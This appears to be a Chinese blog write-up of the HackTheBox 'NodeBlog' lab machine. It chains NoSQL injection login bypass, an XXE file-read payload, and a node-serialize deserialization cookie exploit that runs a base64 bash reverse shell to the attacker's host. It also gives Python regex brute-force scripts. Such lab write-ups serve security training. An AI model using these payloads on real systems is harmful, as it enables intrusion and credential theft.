美文网首页
NodeBlog HTB Writeup

NodeBlog HTB Writeup

作者: doinb1517 | 来源:发表于2023-03-14 17:51 被阅读0次
logo.png

知识点

1、Nosql注入(Mongodb)

2、XXE

3、node.js反序列化漏洞

WP

常规nmap扫描

┌──(root192)-[/home/kali]
└─# nmap -sC -sV 10.10.11.139
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-15 09:39 CST
Nmap scan report for 10.10.11.139
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.74 seconds

直接访问5000端口的web服务,显示为一个blog页面

01.png

直接登陆,当你输入用户名或者密码之后,他会提示你用户名错误或者是密码错误,这意味着我们可以尝试暴力破解用户名或者密码

02.png

输入用户名admin之后,发现显示无效的密码,这意味着存在用户admin

03.png

测试弱密码之后也没有任何收获,接着我测试了sql注入,同样没有什么收获

接着我们测试一下Nosql注入,用的最多的就是Mongodb

可以参考这个链接中的payload

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass

[$ne]=1
04.png

发现登陆失败,我们可以尝试一下之前提到过的将数据类型更改为Json

POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 41
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1

{"user": "admin", "password": {"$ne": "1"}}
05.png

可以新建文章也可以上传文章,我先新建一个试一试

07.png

随便选择一个文件上传,显示为无效的xml

06.png

更有意思的来了,我上传了两次一样的数据,然后服务端就报错了,web源代码在/opt/blog路径下

08.png

既然服务端想要上传的文件是xml,我们就构造xml文件上传

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<title>aa</title>
<description>bb</description>
<markdown>&xxe;</markdown>

返回数据显示为失败,但是给出了示例数据,Firefox浏览器没有直接显示返回的XML格式数据,可以直接查看Response的Raw-data

09.png
Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

修改下我们的payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE x[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>

上传后直接实现了任意文件读取

10.png

发现后台数据库确实Mongodb,存在用户admin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
admin:x:1000:1000:admin:/home/admin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:109:117::/var/lib/mongodb:/usr/sbin/nologin

修改payload读取/opt/blog路径下的server.js文件

const express = require(&#39;express&#39;)
const mongoose = require(&#39;mongoose&#39;)
const Article = require(&#39;./models/article&#39;)
const articleRouter = require(&#39;./routes/articles&#39;)
const loginRouter = require(&#39;./routes/login&#39;)
const serialize = require(&#39;node-serialize&#39;)
const methodOverride = require(&#39;method-override&#39;)
const fileUpload = require(&#39;express-fileupload&#39;)
const cookieParser = require(&#39;cookie-parser&#39;);
const crypto = require(&#39;crypto&#39;)
const cookie_secret = &#34;UHC-SecretCookie&#34;
//var session = require(&#39;express-session&#39;);
const app = express()

mongoose.connect(&#39;mongodb://localhost/blog&#39;)

app.set(&#39;view engine&#39;, &#39;ejs&#39;)
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride(&#39;_method&#39;))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: &#34;UHC-SecretKey-123&#34;}));

function authenticated(c) {
    if (typeof c == &#39;undefined&#39;)
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash(&#39;md5&#39;).update(cookie_secret + c.user).digest(&#39;hex&#39;)) ){
        return true
    } else {
        return false
    }
}


app.get(&#39;/&#39;, async (req, res) =&gt; {
    const articles = await Article.find().sort({
        createdAt: &#39;desc&#39;
    })
    res.render(&#39;articles/index&#39;, { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use(&#39;/articles&#39;, articleRouter)
app.use(&#39;/login&#39;, loginRouter)


app.listen(5000)

代码中存在node.js的反序列化漏洞,会反序列化传入的cookies字段,下面的这篇文章展示了如何利用此漏洞

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

我们使用文章中给的poc

{“rce”:“_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls / >/opt/blog/ls.txt', function(error, stdout, stderr) { console.log(stdout) 
} );\n } () "}

但是面对这种无回显的情况我们如何验证命令是否成功,我想了几个办法

1、使用ping,wget,curl测试

2、dnslog

3、向某个文件写入内容,再利用上面的任意文件读取漏洞验证

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping 10.10.14.4', function(error, stdout, stderr){console.log(stdout)});}()"}
GET /articles/edit/64116f87dbef33ca40a14d97 HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.139:5000/login
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%31%30%2e%31%30%2e%31%34%2e%34%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1

在我们机器上看到ICMP数据包,说明命令执行可以成功

┌──(root💀192)-[/home/kali]
└─# sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:21:22.317108 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:22.317119 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:22.317220 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:22.317228 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:25.652231 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:25.652350 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68
14:21:25.652357 IP 10.10.14.1 > 10.10.14.4: ICMP host 10.10.11.191 unreachable, length 68

尝试反弹shell

echo 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'|base64 -d|base
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQo=|base64 -d|bash
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.139:5000/login
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%30%4c%7a%51%30%4e%44%51%67%4d%44%34%6d%4d%51%6f%3d%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1

拿到反弹的shell后升级shell

script /dev/null -c bash
^Z
stty raw -echo; fg

直接到admin目录进不去,查看权限后给x权限

admin@nodeblog:/home$ ls -al
total 16
drwxr-xr-x 1 root  root   10 Dec 27  2021 .
drwxr-xr-x 1 root  root  180 Dec 27  2021 ..
drw-r--r-- 1 admin admin 220 Jan  3  2022 admin
admin@nodeblog:/home$ chmod +x admin
admin@nodeblog:/home$ cd admin
admin@nodeblog:~$ ls
user.txt
admin@nodeblog:~$ cat user.txt
3ae3b5024812ed21eab88c40185c1653

尝试sudo -l是需要admin的密码,但是当前我们并不知道,可以进Mongodb里面看看,说不定能找到hash,然后尝试密码复用

admin@nodeblog:~$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("37a862b1-2e96-498a-b2f0-5fbb27471de0") }
MongoDB server version: 3.6.8
Server has startup warnings: 
2023-03-15T05:48:10.526+0000 I CONTROL  [initandlisten] 
2023-03-15T05:48:10.526+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2023-03-15T05:48:10.526+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2023-03-15T05:48:10.526+0000 I CONTROL  [initandlisten] 
> show database
2023-03-15T11:30:14.049+0000 E QUERY    [thread1] Error: don't know how to show [database] :
shellHelper.show@src/mongo/shell/utils.js:997:11
shellHelper@src/mongo/shell/utils.js:750:15
@(shellhelp2):1:1
> show dbs
admin   0.000GB
blog    0.000GB
config  0.000GB
local   0.000GB
> use blog
switched to db blog
> show collections
articles
users
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
> 

拿到admin的密码为IppsecSaysPleaseSubscribe,发现不用提权就可以执行全部命令

admin@nodeblog:~$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on nodeblog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on nodeblog:
    (ALL) ALL
    (ALL : ALL) ALL
    
admin@nodeblog:~$ sudo cat /root/root.txt
[sudo] password for admin: 
a6ddd274a7aee014b7af74f190a9ec7f

补充

如何利用登陆时回显的不同爆破出用户名和密码

# 爆破用户名
import requests
import string


def brute_username(user):
    for c in string.ascii_lowercase:
        print(f'\r{user}{c:<50}', end='')
        payload = { 'user':
                       { '$regex' : f'^{user}{c}' },
                    'password': '0xdf'
                  }
        resp = requests.post('http://10.10.11.139:5000/login', json=payload)

        if 'Invalid Password' in resp.text:
            payload = {'user': f'{user}{c}', 'password': '0xdf'}
            resp = requests.post('http://10.10.11.139:5000/login', json=payload)
            if 'Invalid Password' in resp.text:
                print(f'\r{user}{c}')
            brute_username(f'{user}{c}')


brute_username('')
print('\r', end='')
# 爆破密码

import requests
import string
import sys


user = sys.argv[1]
password = ''
found = False

while not found:
    for c in string.ascii_letters + string.digits + '!@#$%^&,':
        print(f'\r{password}{c:<50}', end='')
        payload = { 'user': user,
                    'password':
                       { '$regex' : f'^{password}{c}' },
                  }
        resp = requests.post('http://10.10.11.139:5000/login', json=payload)

        if not 'Invalid Password' in resp.text:
            payload = {'user': user, 'password': password + c}
            resp = requests.post('http://10.10.11.139:5000/login', json=payload)
            password += c
            if not 'Invalid Password' in resp.text:
                print(f'\r{password}')
                found = True
            break

相关文章

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • Bank(Clear Text Credentials,SUID

    开放端口 详细端口信息 DNS 首先按照htb的习惯,我们假定靶机的域名是bank.htb,依此执行Zone Tr...

  • 多图插入的free style实现

    \begin{figure}[htb]\centering %该句也可以删,确保居中\subfloat{\incl...

  • 0x00-HackTheBox-GetInviteCode

    Check out my video!!! - 0x00-HTB-GetInviteCode My input m...

  • htb optimistic

    这道题考察两个知识点: 1。int与unsigned int比较,用负数跳过比较,实现大量输入。 2。输入变相限制...

  • HTB REG

    通过 puts got 0x7fcc5db3e5a0泄漏出libc版本和地址 在https://libc.rip/...

  • HTB pwnshop

    #!/usr/bin/env python # -*- coding: utf-8 -*- # This expl...

  • 【HTB】Explore

    免责声明 本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任...

  • Behavioral Cloning

    Behavioral Cloning Writeup Template You can use this file...

网友评论

      本文标题:NodeBlog HTB Writeup

      本文链接:https://www.haomeiwen.com/subject/qsdkrdtx.html